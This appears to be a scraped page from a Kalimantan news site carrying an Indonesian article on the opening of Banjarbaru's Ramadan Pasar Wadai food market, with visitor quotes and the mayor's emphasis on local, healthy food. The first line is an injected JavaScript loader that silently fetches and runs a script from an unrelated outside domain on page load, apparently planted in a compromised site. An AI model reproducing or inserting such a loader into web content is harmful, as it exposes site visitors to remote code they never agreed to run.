(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pasar Wadai Banjarbaru Dibuka, Diminta Tonjolkan Makanan Lokal dan Sehat

KANALKALIMANTAN.COM, BANJARBARU – Warga ibu kota antusias berburu kuliner di Pasar Wadai Ramadan di lapangan dr Murdjani Banjarbaru, Sabtu (1/3/2025).

Hingga menjelang buka puasa hari pertama, warga terus berdatangan memenuhi stan jajanan makanan dan minuman yang ditawarkan pedagang.

Rini Pohan, warga Kelurahan Guntung Manggis mengaku sengaja datang awal ke kawasan lapangan dr Murdjani untuk bisa mendapatkan aneka pilihan takjil berbuka puasa.

Menurutnya takjil yang dijual di pasar wadai tahun ini lebih bervariasi.

“Ini tadi ada beli lontong medan, siomay, baby crab, lebih variatif dari tahun sebelumnya,” ujar Rini Pohan salah seorang pengunjung pasar wadai, Sabtu (1/3/2025) sore.

Dia mengaku saban tahun menjadi pengunjung tetap Pasar Wadai dan merasakan suasana yang berbeda setiap tahunnya.

“Lebih bagus dari tahun ke tahun, setiap puasa pasti ke sini, karena jajanannya lebih lengkap jadi lebih enak,” ungkap dia.

Warga ibu kota antusias berburu takjil di Pasar Wadai Ramadan di lapangan dr Murdjani Kota Banjarbaru, Sabtu (1/3/2025) petang. Foto : wanda

Pasar Wadai bertajuk Banjarbaru Ramadhan Festival 2025 kali ini menyuguhkan lebih banyak makanan dan minuman tradisional.

Hal itu diungkapkan Wali Kota Banjarbaru Aditya Mufti Ariffin usai resmi membuka Pasar Wadai Banjarbaru di Lapangan dr Murdjani.

“Pasar wadai ini kembali kita laksanakan, berbeda dengan tahun lalu, tahun ini kita menekankan kepada EO lebih banyak penjual makanan tradisional,” ujar Wali Kota Banjarbaru.

Total 186 stan yang disediakan, terdiri dari stan makanan takjil, makanan kering, makanan basah hingga makanan berat.

Kemudian ada stan fashion, perbankan hingga fasilitas lainnya seperti mushola, perbankan, keamanaan dan informasi.

Pemerintah tetap melestarikan sebagian besar para pedagang yang menjual makanan khas lokal, tidak hanya asli Banjar, juga daerah lainnya.

“Salah satu penekanan kita jangan banyak makanan yang kurang sehat, seperti makanan kekinian tetapi tonjolkan makanan khas lokal,” jelas dia.

Pemko Banjarbaru menyediakan sebanyak 20 stan yang diberikan untuk usaha binaan dari UMKM di Banjarbaru.

Masyarakat kata Aditya dapat memanfaatkan event Pasar Wadai ini sebagai sarana memenuhi kebutuhan untuk berbuka puasa dan lainnya.

Di pasar wadai ini pula para pedagang diimbau untuk tetap menjaga kebersihan lingkungan sekitar stan serta hidangan.

“Budayakan hidup bersih dan yang dijual higienis, dan ini mudah-mudahan menjadi nilai tambah Pasar Wadai di Kota Banjarbaru,” tuntasnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie